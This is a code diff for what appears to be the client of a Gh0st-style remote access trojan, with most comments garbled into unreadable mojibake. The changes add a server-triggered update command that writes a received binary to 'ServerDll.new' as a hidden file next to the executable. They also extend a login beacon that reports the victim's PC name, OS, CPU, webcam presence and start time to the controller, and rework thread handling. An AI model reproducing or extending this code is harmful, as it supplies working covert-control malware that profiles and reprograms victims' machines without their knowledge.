@@ -309,8 +345,11 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
//[Shine][ 30 ][5]
|
//[Shine][ 30 ][5]
|
||||||
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
||||||
|
|
||||||
|
#if USING_COMPRESS // ʹ<><CAB9>ѹ<EFBFBD><D1B9><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||||
delete [] CompressedBuffer;
|
delete [] CompressedBuffer;
|
||||||
CompressedBuffer = NULL;
|
CompressedBuffer = NULL;
|
||||||
|
#endif
|
||||||
|
|
||||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||||
//shine[0035][0010][HelloWorld+12]
|
//shine[0035][0010][HelloWorld+12]
|
||||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
|
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
|
||||||
@@ -321,6 +360,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
// 5 2 // 2 2 1
|
// 5 2 // 2 2 1
|
||||||
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
|
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
|
||||||
{
|
{
|
||||||
|
AUTO_TICK(25);
|
||||||
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
||||||
const char* Travel = szBuffer;
|
const char* Travel = szBuffer;
|
||||||
int i = 0;
|
int i = 0;
|
||||||
|
|||||||
@@ -17,8 +17,8 @@
|
|||||||
|
|
||||||
#pragma comment(lib,"ws2_32.lib")
|
#pragma comment(lib,"ws2_32.lib")
|
||||||
|
|
||||||
#define MAX_RECV_BUFFER 1024*8
|
#define MAX_RECV_BUFFER 1024*32
|
||||||
#define MAX_SEND_BUFFER 1024*8
|
#define MAX_SEND_BUFFER 1024*32
|
||||||
#define FLAG_LENGTH 5
|
#define FLAG_LENGTH 5
|
||||||
#define HDR_LENGTH 13
|
#define HDR_LENGTH 13
|
||||||
|
|
||||||
@@ -30,11 +30,11 @@ public:
|
|||||||
IOCPClient(bool exit_while_disconnect = false);
|
IOCPClient(bool exit_while_disconnect = false);
|
||||||
virtual ~IOCPClient();
|
virtual ~IOCPClient();
|
||||||
SOCKET m_sClientSocket;
|
SOCKET m_sClientSocket;
|
||||||
|
CBuffer m_CompressedBuffer;
|
||||||
BOOL m_bWorkThread;
|
BOOL m_bWorkThread;
|
||||||
HANDLE m_hWorkThread;
|
HANDLE m_hWorkThread;
|
||||||
|
|
||||||
BOOL ConnectServer(char* szServerIP, unsigned short uPort);
|
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
|
|
||||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||||
@@ -46,6 +46,10 @@ public:
|
|||||||
return m_bIsRunning;
|
return m_bIsRunning;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void SetExit() {
|
||||||
|
m_bIsRunning = FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
BOOL m_bIsRunning;
|
BOOL m_bIsRunning;
|
||||||
BOOL m_bConnected;
|
BOOL m_bConnected;
|
||||||
|
|
||||||
|
|||||||
@@ -5,6 +5,10 @@
|
|||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
#include <corecrt_io.h>
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -18,9 +22,9 @@ CKernelManager::~CKernelManager()
|
|||||||
{
|
{
|
||||||
printf("~CKernelManager begin\n");
|
printf("~CKernelManager begin\n");
|
||||||
int i = 0;
|
int i = 0;
|
||||||
for (i=0;i<0x1000;++i)
|
for (i=0;i<MAX_THREADNUM;++i)
|
||||||
{
|
{
|
||||||
if (m_hThread->h!=0)
|
if (m_hThread[i].h!=0)
|
||||||
{
|
{
|
||||||
CloseHandle(m_hThread[i].h);
|
CloseHandle(m_hThread[i].h);
|
||||||
m_hThread[i].h = NULL;
|
m_hThread[i].h = NULL;
|
||||||
@@ -33,10 +37,83 @@ CKernelManager::~CKernelManager()
|
|||||||
printf("~CKernelManager end\n");
|
printf("~CKernelManager end\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>õ<EFBFBD><C3B5>߳<EFBFBD><DFB3>±<EFBFBD>
|
||||||
|
UINT CKernelManager::GetAvailableIndex() {
|
||||||
|
if (m_ulThreadCount < MAX_THREADNUM) {
|
||||||
|
return m_ulThreadCount;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < MAX_THREADNUM; ++i)
|
||||||
|
{
|
||||||
|
if (m_hThread[i].p == NULL) {
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
||||||
|
{
|
||||||
|
if (size > 32 * 1024 * 1024) {
|
||||||
|
std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
char path[_MAX_PATH], * p = path;
|
||||||
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
while (*p) ++p;
|
||||||
|
while ('\\' != *p) --p;
|
||||||
|
strcpy(p + 1, "ServerDll.new");
|
||||||
|
if (_access(path, 0)!=-1)
|
||||||
|
{
|
||||||
|
DeleteFileA(path);
|
||||||
|
}
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
|
||||||
|
std::string filePath = path;
|
||||||
|
std::ofstream outFile(filePath, std::ios::binary);
|
||||||
|
|
||||||
|
if (!outFile)
|
||||||
|
{
|
||||||
|
std::cerr << "Failed to open or create the file: " << filePath << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
outFile.write(data, size);
|
||||||
|
|
||||||
|
if (outFile.good())
|
||||||
|
{
|
||||||
|
std::cout << "Binary data written successfully to " << filePath << std::endl;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
std::cerr << "Failed to write data to file." << std::endl;
|
||||||
|
outFile.close();
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD>
|
||||||
|
outFile.close();
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||||
|
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||||
|
{
|
||||||
|
std::cout << "File created and set to hidden: " << filePath << std::endl;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
IOCPClient *pNew = szBuffer[0] == COMMAND_BYE ? NULL : new IOCPClient(true);
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
m_hThread[m_ulThreadCount].p = pNew;
|
if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
|
||||||
|
if (!isExit) {
|
||||||
|
printf("CKernelManager: The number of threads exceeds the limit.\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (!isExit){
|
||||||
|
m_hThread[m_ulThreadCount].p = new IOCPClient(true);
|
||||||
|
}
|
||||||
|
|
||||||
switch(szBuffer[0])
|
switch(szBuffer[0])
|
||||||
{
|
{
|
||||||
@@ -74,13 +151,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_BYE:
|
case COMMAND_BYE:
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
BYTE bToken = COMMAND_BYE;// <EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD>
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
m_bIsDead = true; //say goodbye
|
m_bIsDead = 1;
|
||||||
OutputDebugStringA("======> Bye bye \n");
|
OutputDebugStringA("======> Client exit \n");
|
||||||
m_hThread[m_ulThreadCount].p = NULL;
|
break;
|
||||||
delete pNew;
|
}
|
||||||
pNew = NULL;
|
|
||||||
|
case SERVER_EXIT:
|
||||||
|
{
|
||||||
|
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
m_bIsDead = 2;
|
||||||
|
OutputDebugStringA("======> Server exit \n");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -132,12 +215,31 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case COMMAND_UPDATE:
|
||||||
|
{
|
||||||
|
if (m_ulThreadCount != -1) {
|
||||||
|
delete m_hThread[m_ulThreadCount].p;
|
||||||
|
m_hThread[m_ulThreadCount].p = NULL;
|
||||||
|
}
|
||||||
|
ULONGLONG size=0;
|
||||||
|
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||||||
|
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||||||
|
extern BOOL g_bExit;
|
||||||
|
g_bExit = 3;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
OutputDebugStringA("======> Error operator\n");
|
OutputDebugStringA("======> Error operator\n");
|
||||||
m_hThread[m_ulThreadCount].p = NULL;
|
char buffer[256] = {};
|
||||||
delete pNew;
|
strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer));
|
||||||
pNew = NULL;
|
printf("!!! Unknown command: %s\n", buffer);
|
||||||
|
if (m_ulThreadCount != -1) {
|
||||||
|
delete m_hThread[m_ulThreadCount].p;
|
||||||
|
m_hThread[m_ulThreadCount].p = NULL;
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,7 +12,9 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
|
||||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>
|
#define MAX_THREADNUM 0x1000>>2
|
||||||
|
|
||||||
|
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
|
||||||
struct ThreadInfo
|
struct ThreadInfo
|
||||||
{
|
{
|
||||||
BOOL run;
|
BOOL run;
|
||||||
@@ -28,8 +30,11 @@ public:
|
|||||||
virtual ~CKernelManager();
|
virtual ~CKernelManager();
|
||||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
ThreadInfo m_hThread[0x1000];
|
ThreadInfo m_hThread[MAX_THREADNUM];
|
||||||
|
// <20><>ֵ<EFBFBD><D6B5>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<61><64>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><C2B3><EFBFBD><EFBFBD>쳣
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
|
||||||
ULONG m_ulThreadCount;
|
ULONG m_ulThreadCount;
|
||||||
|
UINT GetAvailableIndex();
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||||
|
|||||||
@@ -1,15 +1,166 @@
|
|||||||
#include "StdAfx.h"
|
#include "StdAfx.h"
|
||||||
#include "LoginServer.h"
|
#include "LoginServer.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
|
#include <string>
|
||||||
|
#include <iostream>
|
||||||
|
#include <iomanip>
|
||||||
|
#include <ctime>
|
||||||
|
|
||||||
|
/************************************************************************
|
||||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
---------------------
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>ߣ<EFBFBD>IT1995
|
||||||
|
<EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD>CSDN
|
||||||
|
ԭ<EFBFBD>ģ<EFBFBD>https://blog.csdn.net/qq78442761/article/details/64440535
|
||||||
|
<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>£<EFBFBD>ת<EFBFBD><EFBFBD><EFBFBD>븽<EFBFBD>ϲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD>
|
||||||
|
<EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD>2019.3.29<EFBFBD><EFBFBD>Ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
************************************************************************/
|
||||||
|
std::string getSystemName()
|
||||||
{
|
{
|
||||||
LOGIN_INFOR LoginInfor = {0};
|
std::string vname("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ");
|
||||||
|
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
|
||||||
|
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
||||||
|
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||||||
|
if (hinst == NULL)
|
||||||
|
{
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
|
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||||
|
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||||||
|
if (proc==NULL)
|
||||||
|
{
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
|
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||||||
|
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||||||
|
{
|
||||||
|
vname = "Windows 8.1";
|
||||||
|
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
|
if (dwMajor == 10 && dwMinor == 0) //win 10
|
||||||
|
{
|
||||||
|
vname = "Windows 10";
|
||||||
|
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD>治<EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
//<2F>ж<EFBFBD>win8.1<EFBFBD><EFBFBD><EFBFBD>µİ汾
|
||||||
|
SYSTEM_INFO info; //<2F><>SYSTEM_INFO<46>ṹ<EFBFBD>ж<EFBFBD>64λAMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
GetSystemInfo(&info); //<2F><><EFBFBD><EFBFBD>GetSystemInfo<66><6F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṹ
|
||||||
|
OSVERSIONINFOEX os;
|
||||||
|
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||||
|
if (GetVersionEx((OSVERSIONINFO *)&os))
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ汾<DDB0><E6B1BE>Ϣ<EFBFBD>жϲ<D0B6><CFB2><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>
|
||||||
|
switch (os.dwMajorVersion)
|
||||||
|
{ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>汾<EFBFBD><E6B1BE>
|
||||||
|
case 4:
|
||||||
|
switch (os.dwMinorVersion)
|
||||||
|
{ //<2F>жϴΰ汾<CEB0><E6B1BE>
|
||||||
|
case 0:
|
||||||
|
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
|
||||||
|
vname ="Windows NT 4.0"; //1996<39><36>7<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||||
|
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
|
||||||
|
vname = "Windows 95";
|
||||||
|
break;
|
||||||
|
case 10:
|
||||||
|
vname ="Windows 98";
|
||||||
|
break;
|
||||||
|
case 90:
|
||||||
|
vname = "Windows Me";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
switch (os.dwMinorVersion)
|
||||||
|
{ //<2F>ٱȽ<D9B1>dwMinorVersion<6F><6E>ֵ
|
||||||
|
case 0:
|
||||||
|
vname = "Windows 2000"; //1999<39><39>12<31>·<EFBFBD><C2B7><EFBFBD>
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
vname = "Windows XP"; //2001<30><31>8<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
if (os.wProductType == VER_NT_WORKSTATION &&
|
||||||
|
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
|
||||||
|
vname = "Windows XP Professional x64 Edition";
|
||||||
|
else if (GetSystemMetrics(SM_SERVERR2) == 0)
|
||||||
|
vname = "Windows Server 2003"; //2003<30><33>3<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||||
|
else if (GetSystemMetrics(SM_SERVERR2) != 0)
|
||||||
|
vname = "Windows Server 2003 R2";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 6:
|
||||||
|
switch (os.dwMinorVersion)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
if (os.wProductType == VER_NT_WORKSTATION)
|
||||||
|
vname = "Windows Vista";
|
||||||
|
else
|
||||||
|
vname = "Windows Server 2008"; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>汾
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
if (os.wProductType == VER_NT_WORKSTATION)
|
||||||
|
vname = "Windows 7";
|
||||||
|
else
|
||||||
|
vname = "Windows Server 2008 R2";
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
if (os.wProductType == VER_NT_WORKSTATION)
|
||||||
|
vname = "Windows 8";
|
||||||
|
else
|
||||||
|
vname = "Windows Server 2012";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
|
||||||
|
}
|
||||||
|
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf_s("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string formatTime(const FILETIME& fileTime) {
|
||||||
|
// ת<><D7AA>Ϊ 64 λʱ<CEBB><CAB1>
|
||||||
|
ULARGE_INTEGER ull;
|
||||||
|
ull.LowPart = fileTime.dwLowDateTime;
|
||||||
|
ull.HighPart = fileTime.dwHighDateTime;
|
||||||
|
|
||||||
|
// ת<><D7AA>Ϊ<EFBFBD>뼶ʱ<EBBCB6><CAB1><EFBFBD><EFBFBD>
|
||||||
|
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
|
||||||
|
|
||||||
|
// <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
std::tm* localTime = std::localtime(&startTime);
|
||||||
|
char buffer[100];
|
||||||
|
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
|
||||||
|
return std::string(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string getProcessTime() {
|
||||||
|
FILETIME creationTime, exitTime, kernelTime, userTime;
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Ϣ
|
||||||
|
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
|
||||||
|
return formatTime(creationTime);
|
||||||
|
}
|
||||||
|
std::time_t now = std::time(nullptr);
|
||||||
|
std::tm* t = std::localtime(&now);
|
||||||
|
char buffer[100];
|
||||||
|
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType)
|
||||||
|
{
|
||||||
|
LOGIN_INFOR LoginInfor;
|
||||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||||
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
||||||
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||||||
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD>PCName
|
//<2F><><EFBFBD><EFBFBD>PCName
|
||||||
char szPCName[MAX_PATH] = {0};
|
char szPCName[MAX_PATH] = {0};
|
||||||
@@ -29,9 +180,9 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
|||||||
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
||||||
LoginInfor.dwSpeed = dwSpeed;
|
LoginInfor.dwSpeed = dwSpeed;
|
||||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||||
LoginInfor.ClientAddr = ClientAddr.sin_addr;
|
|
||||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||||
|
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||||
|
sprintf_s(LoginInfor.szReserved, "%s", nType==CLIENT_TYPE_DLL?"DLL":"EXE");
|
||||||
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
||||||
|
|
||||||
return iRet;
|
return iRet;
|
||||||
|
|||||||
@@ -5,17 +5,6 @@
|
|||||||
|
|
||||||
#pragma comment(lib,"Vfw32.lib")
|
#pragma comment(lib,"Vfw32.lib")
|
||||||
|
|
||||||
typedef struct _LOGIN_INFOR
|
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType);
|
||||||
{
|
|
||||||
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ
|
|
||||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
|
||||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
|
||||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
|
||||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
|
||||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
|
||||||
}LOGIN_INFOR,*PLOGIN_INFOR;
|
|
||||||
|
|
||||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
|
|
||||||
DWORD CPUClockMHz();
|
DWORD CPUClockMHz();
|
||||||
BOOL WebCamIsExist();
|
BOOL WebCamIsExist();
|
||||||
|
|||||||
@@ -35,7 +35,9 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
||||||
}catch(...){};
|
}catch(...){
|
||||||
|
printf("[ERROR] CManager::Send catch an error \n");
|
||||||
|
};
|
||||||
return nRet;
|
return nRet;
|
||||||
